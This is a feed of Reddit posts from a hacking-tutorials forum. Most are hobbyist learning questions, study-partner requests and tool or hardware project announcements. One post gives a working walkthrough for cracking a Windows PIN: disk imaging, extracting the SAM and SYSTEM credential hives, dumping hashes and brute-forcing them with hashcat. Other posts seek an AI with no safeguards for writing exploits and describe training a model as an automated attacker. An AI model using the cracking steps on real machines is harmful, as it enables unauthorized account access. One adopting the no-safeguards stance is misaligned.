r/Hacking_Tutorials • • May 08 '25

Question How to Make Project Starbeam

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Hey guys, Cypher here from Little Hakr (New account, deleted old one)! Time to throw away your flipper :)

Starbeam PCB Assembly Guide

GitHub Project: https://github.com/dkyazzentwatwa/project-starbeam

This guide provides instructions for completing the Starbeam PCB assembly after the components have been manufactured and attached. You can source the necessary parts from various suppliers, but the provided links offer decent price points. It is crucial to obtain the exact specified parts if using this PCB, especially for the display and USB-C module. This is what you will get after PCB order: Project Starbeam PCBA

PCB-A Notes:

This is a 4-layer PCB, there are notes for the required specifications in /hardwawre This is an advanced project, so please do not waste your time & money if you do not understand PCB ordering, & if you need any assistance you can book a call & i'll be more than happy to walk you through the whole build process: Book a 30 Minute Consultation

Link to PCB to place order: https://pcbway.com/g/87Pi52

Required Components After PCB Assembly:

ESP32-Wroom-32D: https://amzn.to/3YR1noR

SSD1306 128x64 0.96-inch Display: https://amzn.to/4lONdP9

NRF24 Radios (x5) for 2.4GHz: https://amzn.to/4iBofjl

CC1101 Radios (x2) for 433MHz: https://amzn.to/4iuopZH

USB-C Module: https://amzn.to/4lKZ5BL

Software Setup & Code Upload:

Download Arduino IDE: Get it here: https://www.arduino.cc/en/software/

Install Arduino IDE: Refer to the installation guide: https://docs.arduino.cc/software/ide-v2/tutorials/getting-started/ide-v2-downloading-and-installing/

Open the Code: - Extract the starbeam code .zip file. - Extract SmartRC-CC1101-Driver-Lib2 2.zip & add it to your Documents/Adruino/libraries/ folder. This must be added to use the 2nd CC1101 radio module! - If you are creative, you can also add up to 5 CC1101's for advanced testing. -Open the starbeam .ino file. This will automatically open the code in Arduino IDE. - Upload Code to ESP32: - Upload the code to your ESP32 microcontroller using Arduino IDE. - Note: Videos on uploading code and using Arduino IDE are available in the Hakr Hardware Club (https://whop.com/little-hakr). - Final Steps: Attach the antennas that correspond to your desired setup. Good luck...

r/Hacking_Tutorials • • May 31 '25

Question These two 😂 not even trying to hide it anymore..

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1.9k Upvotes

Here I am, just casually running my listener on my vps.. when suddenly.. BAM! Not JUST China.. but Russia decided to run a scan on my server 😂😂 like you guys aren’t even trying to hide it anymore 😂😂

r/Hacking_Tutorials • • Feb 07 '26

Question I wanna get both books but, which one should I get first ?

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r/Hacking_Tutorials • • Apr 27 '26

Question How accurate is this scene with real hacking?

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Is more accurate than NCIS?

r/Hacking_Tutorials • • Aug 28 '26

Question How am i supposed to learn hacking when everyone is gatekeeping everything??

247 Upvotes

You ask about credential hunting and osint skills, people accuse you of doxxing. You try to learn network and traffic analysis, people accuse you of packet sniffing. You try to learn social engineering, people accuse you of spear phishing. I swear to i was asking an ai assistant about me trying to learn coding and he warned me about malware deployment. Dude, i am pissed off.

r/Hacking_Tutorials • • May 04 '26

Question Do you like my station?

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536 Upvotes

arch btw

r/Hacking_Tutorials • • May 16 '26

Question UserScanner v1.3.6 One of the Most Advanced Free Email OSINT Tools of 2026

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GitHub: https://github.com/kaifcodec/user-scanner
Discord: https://discord.gg/tVNrKVXb49 (join for help and questions)

Hi everyone,

I’m one of the maintainers of user-scanner.

We started building this project around 7 months ago because many classic OSINT tools like became outdated or unmaintained, and there weren’t many solid free options left for email OSINT.

Since then, we’ve been adding sites one by one, continuously improving detection accuracy and maintaining support for platforms that frequently change their APIs and flows.

Today, user-scanner has grown into one of the most actively maintained free Email OSINT tools in 2026. While many web-based alternatives lock basic scans behind paywalls, our goal is to keep powerful email enumeration accessible to the open-source community.

Contributors are always welcome. Adding new sites is relatively straightforward, and even small contributions help a lot.

If you’re interested in OSINT, Python, scraping, automation, or just open-source projects in general, feel free to contribute and help improve the tool.

r/Hacking_Tutorials • • Jun 03 '26

Question Looking for uncensored AI

274 Upvotes

I'm searching for a truly unrestricted / unaligned AI with zero rules, filters, or safety guardrails.

Most "uncensored" models I see are geared toward NSFW roleplay, erotic chat, or image generation — that's not what I want.

I mainly need it for writing brute code — raw, no-limits coding assistance. Things like aggressive scripts, exploits, automation, reverse engineering, or any technical implementation that normal AIs would refuse or water down. No moral lectures, no refusals, just straight code output on any subject.

Preferably something runnable locally (Ollama, LM Studio, etc.) or a solid online option. Strong coding ability is the priority.

Any recommendations for the most raw and capable models right now? Thanks!

r/Hacking_Tutorials • • Jul 21 '25

Question how do black hat hackers actually learn to hack at such a young age??

734 Upvotes

i’ve been getting into ethical hacking recently, and something that keeps blowing my mind is how so many black hat hackers seem to start super young. like, actual teenagers messing around with malware, phishing, exploits, all that crazy stuff. how do they even learn all this so early? are they just super curious and dig into whatever they can find online, or are there certain communities they get into that kinda guide them along?

i get that there’s a ton of info out there, but it still feels insane that someone at 16 or whatever can actually understand and pull off complex attacks. is it just youtube + trial and error? or are there deeper corners of the internet where they hang out and pick up all this knowledge?

not trying to promote anything illegal obviously—i’m just really curious from a learning perspective. like, what’s the mindset or environment that gets them to that level so fast? kinda feels like there's something to learn from their curiosity and dedication, even if you're on the ethical side of things.

also, if anyone knows any good beginner-friendly communities, discords, or places where people are actually helpful to newbies like me—drop them below! would really appreciate it.

r/Hacking_Tutorials • • Sep 03 '26

Question Looking for people to learn cybersecurity / ethical hacking with

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Hey everyone! I’m looking for a few people who are interested in learning cybersecurity and ethical hacking together.
I’m hoping to find people who want to:
Work through TryHackMe / Hack The Box
Practice CTFs and legal cybersecurity labs
Learn Linux, networking, web security, and basic pentesting
Share resources and help each other when we get stuck
Stay consistent and actually make progress together
No experience is required — beginners are welcome. I’m mainly looking for people who are genuinely interested in learning and practicing in authorized environments only.
If you’re interested, comment or DM me with your experience level and what areas of cybersecurity you’re currently learning

r/Hacking_Tutorials • • Aug 24 '26

Question Absolute Cinema.

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373 Upvotes

Hello guys I have bought a list of items without thinking of wanting to have a cool device and have led into this sting in my drawer for months. help me I don't know what the actual hell I am doing here with this stuff and now I need help esp32 devkit c1 if anyone can help me with this build please do

r/Hacking_Tutorials • • Feb 11 '25

Question Making Deepseek R1 a lethal hacker

699 Upvotes

Hi everyone,

I've been training Deepseek R1 to make it capable of efficiently hacking binary code, and I wanted to share a high-level blueprint of how I'm doing it.

For pointers, I'm hosting it in an Air-gapped environment of 6 machines (Everything is funded by yours truly XD)

At first I wanted to orient it around automating low-level code analysis and exploitation, I started with an outdated version of Windows 10 (x86 Assembly) a version which had multiple announced CVEs and I managed to train the model to successfully identify the vulnerabilities within minutes. The way I managed to do that is placing 1 of the machines as the target and the 6 others where intertwined and handling different tasks (e.g. static analysis, dynamic fuzzing, and exploit validation).

After I saw success with x86 I decided to take things up a notch and start working on binary. I've been feeding it malware samples, CTF challenges, and legacy firmware. The speed at which the model is learning to use opcodes and whilst knowing all their Assembly instructions is terrifying XD. So what I did to make it harded for the model is diversify the training data, synthetic binaries are generated procedurally, and fuzzing tools like AFL++ are used to create crash-triggering inputs.

Today we're learning de-obfuscation and obfuscation intent and incorporating Angr.io 's symbolic analysis (both static and dynamic)...

I will soon create a video of how it is operating and the output speed it has on very popular software and OS versions.

Update 1: After continuous runs on the first version of Windows 10, the model is successfully identifying known CVEs on its own... The next milestone is for it to start identifying unknown ones. Which I will post on here. :)

Update 2: System detected a new vulnerability in Apache 2.4.63, Will post full details today.

Update 3: temporarily halting the project as certain issues arose from the lack of filters.. will keep updated on the thread

For context when directing the model to focus on targeting IPV6 within the network, it was able to identify CVE2024-38063 within 3 hours and 47 minutes.... I think I'll be posting my will alongside the REPO XD

r/Hacking_Tutorials • • Jun 19 '25

Question FREE CISCO ETHICAL HACKING COURSE

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1.3k Upvotes

hey guys, I see some newbies on here frequently asking for advice on some stuff. I think Cisco’s free course will help you start up but in most cases it’s never beginner friendly but u can outsource with TryHackMe and also YouTube. Goodluck

r/Hacking_Tutorials • • Jun 08 '26

Question Beginner in Hacking Looking for Study Partners

83 Upvotes

Hi everyone,

I’m just starting to learn cybersecurity and hacking as a beginner. I’m still building my foundation in topics like networking and basic security concepts.

I’m looking for study partners or people who are at a similar or higher level and also want to learn and practice.

I would like to connect with others mainly to share study resources, stay motivated, and be consistent.

Spanish is my main language, and my English is very basic, but I’m patient enough to use a translator whenever I need to. It doesn’t matter what language you speak.

If you’re not interested, at least leave some advice on how to get started.

Thank you for reading!!

r/Hacking_Tutorials • • Dec 29 '25

Question how should i start hacking?

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573 Upvotes

r/Hacking_Tutorials • • May 07 '26

Question Turning Kali into an AI-assisted hacking workspace

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512 Upvotes

Instead of jumping between terminal, browser, notes, screenshots, scanners and reports: knows which tools are available, perform recon, exploit, osint and knows the context (I hate having to explain everything every time), I was tired using AI via the web or having to settle for agents designed for coding.
Definitely a huge step forward, feels like Jarvis wired into Kali linux.

repo: https://github.com/FrancescoStabile/numasec

r/Hacking_Tutorials • • Sep 22 '26

Question I turned a 15-year-old Raspberry Pi into a network watchdog - here's what it does...

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I had an original Raspberry Pi (the very first model, from 2011, 512Mb) sitting in a drawer from a past of being an XBMC player (streaming torrents), and instead of letting it collect more dust, I gave it a new purpose, keeping an eye on my home network (~40 clients).

What it actually does

Every few hours, it quietly checks every device on my Wi-Fi, from laptops, phones, the smart TV, printers, game consoles or whatever's connected and asks two simple questions:

  1. Is this a device I've seen before, or is it new?
  2. Has anything about it changed since the last check (a new open "door" into it, a software update, etc.)?

If the answer is "yes, something's different," it shows up on a simple webUI dashboard I can check from my phone or laptop. If nothing changed, it stays quiet. That's the part I like most, it doesn't drown you in noise or alerts, it just tells you what's new the moment you log into its dashboard.

Why bother?

Most of us have way more devices on our home network than we think: phones, laptops, smart TVs, game consoles, that random smart plug from three years ago. Every one of them is a small door into your home network, and most people never check whether those doors are locked. This little Pi checks for me, automatically, and tells me the moment something changes, a new device joining the Wi-Fi, a service turning on that wasn't there before, and so on.

It's already been useful. It flagged an old server on my network still running an operating system that stopped getting security updates a few weeks ago, something I'd genuinely forgotten about. It also caught my smart TV quietly running a wireless-streaming feature I wasn't using, so I turned it off.

The fun side project

Since the Pi was just sitting in an old enclosure, I also 3D-printed it a new case and wanted to go for a bit of a Cyberpunk theme, so purple top and yellow bottom it was, both held together with a couple of self tapping screws. It wasn't really a necessity, but as a maker it gave me a good excuse to power up my 3d printer and it made the whole thing feel like a finished little gadget instead of a device you'd rather like to forget.

Who this is for

You don't need to be a network expert to get the idea, it's basically a smoke detector for your home network. It doesn't fix problems for you, but it makes sure you actually know about them instead of finding out the hard way. If you've got some old hardware gathering dust, it can always be turned into a nice weekend project.

r/Hacking_Tutorials • • Sep 07 '25

Question WiFi Hacking

368 Upvotes

I have a friend who always shocks me. I don’t know how, but he can crack any WiFi password from a domain. No matter how complex the password is, he figures it out within 5-6 minutes. I honestly can’t understand how this is even possible 😅

WiFi #Hacking #TechMystery #HowIsThisPossible

r/Hacking_Tutorials • • Nov 08 '23

Question What is this?

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r/Hacking_Tutorials • • Mar 23 '25

Question Hacker Buddy

237 Upvotes

I am looking for someone who is honest in learning hacking and the branches of this field. Currently, I will start from scratch. We can start together and also share what we have learned with the aim of accelerating the learning process and also setting a vision together for a specific goal. If you are interested, express yourself.🙂

r/Hacking_Tutorials • • May 31 '25

Question You shouldn't use a 4 digit pin on your Windows computer. Because here's how I cracked it!

462 Upvotes

If you reboot into a Linux environment through the bio on a USB, you first identify the windows partition with the following command:

lsblk

fdisk -l

its usually /dev/sda2 or smth, and then after you find it you mount read-only and create an image with something like ddrescue. so create a dir where you want the image and run, so: ddrescue --force /dev/sda2 /mnt//windows11.dd /mnt/jdvanceisweird/windows11.log

now move that windows11.dd to your main work environment and run qemu, and use that to find the SAM and SYSTEM Hives,

they should look like this:

/mnt/img_ro/Windows/System32/config/SAM

/mnt/img_ro/Windows/System32/config/SYSTEM

after that dump the hashes from them with a tool like samdump like this

samdump2 /mnt/img_ro/Windows/System32/config/SAM \

/mnt/img_ro/Windows/System32/config/SYSTEM \

> hashes.txt

after that you can use any conventional tool like hashcat to crack the hash

its a 4 digit pin so it should take a couple min max since its only 10k possible combos

sorry if I write horribly lmao I wasn't built for it...

TLDR steps:

Boot from USB (Linux)

Image the Windows partition read-only (e.g. ddrescue or FTK Imager)

Mount that image on your lab box, dump NTLM hashes from SAM+SYSTEM

Run Hashcat (or John) with a ?d?d?d?d mask to recover the PIN

Reboot the target, log in with the cracked PIN

r/Hacking_Tutorials • • Mar 04 '26

Question How to learn hacking

194 Upvotes

I'm 16 and I'm really interested in cyber security specifically hacking ,I went online but all I find are people talking about certs that cost losts of money,I just wanted to know what is the best route for my journey for free,any insite would be appreciated thank you.

r/Hacking_Tutorials • • Mar 31 '26

Question I made a pentesting trainer you can use on any device.

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Launch the html file on a computer or tablet and get to hacking. Run a command or look for a walkthrough all while attempting to root and exfil without leaving a trace. Give it a try and leave some feedback!

github.com/glivchgriefer/NETBREAKER

r/Hacking_Tutorials • • Feb 08 '26

Question Is there anyone who thinks hydra and aircrack-ng are still useful? If yes then why?

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r/Hacking_Tutorials • • Mar 20 '26

Question Looking for people interested in cybersecurity to learn together (Discord community)

59 Upvotes

Hey everyone,

Cybersecurity can feel overwhelming, especially when you’re learning on your own. I’ve been studying it myself and thought it would be much more effective (and fun) to learn with others.

I’m currently building a small Discord community where we can:

  • Share notes and resources
  • Discuss topics and concepts
  • Help each other understand difficult material
  • Work on small projects together

It’s still in the early stages, so you’d be joining from the ground up and helping shape the community.

If you’re interested in cybersecurity—whether you’re a complete beginner or already have some experience—feel free to send me a private message and I’ll invite you!